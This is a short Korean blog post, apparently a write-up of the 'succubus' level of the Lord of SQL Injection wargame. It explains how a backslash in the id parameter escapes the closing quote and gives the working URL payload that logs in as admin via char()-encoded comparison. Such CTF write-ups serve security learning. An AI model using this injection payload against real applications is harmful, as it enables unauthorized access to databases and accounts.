보안 공부/Load of SQL injection

[Load of SQL Injection] succubus

sh1256 2022. 1. 29. 23:36
728x90

1. 필터링

prob _ . ()            처음에 \(\)를 \\뜻으로 보고 1시간 넘게 못 풀었던...ㅜㅠ 이런 실수는 하지 맙시다 ㅎ

 

더보기

where id='\' and pw='or 1#'  --> where id='\' and pw='or 1#'

--> 특수문자 앞에 '\'를 붙이면 특수문자는 문자로 취급한다. 

      이 점을 이용해서 공격 시도!

select id from prob_succubus where id='\' and pw='or id=char(97,100,109,105,110)#'

select id from prob_succubus where id='\' and pw='or id=char(97,100,109,105,110)#'

< #은 %23으로 URLencoding 해서 보낸다. >

 

URL + ?id=\&&pw=or id=char(97,100,109,105,110)%23

 

성공!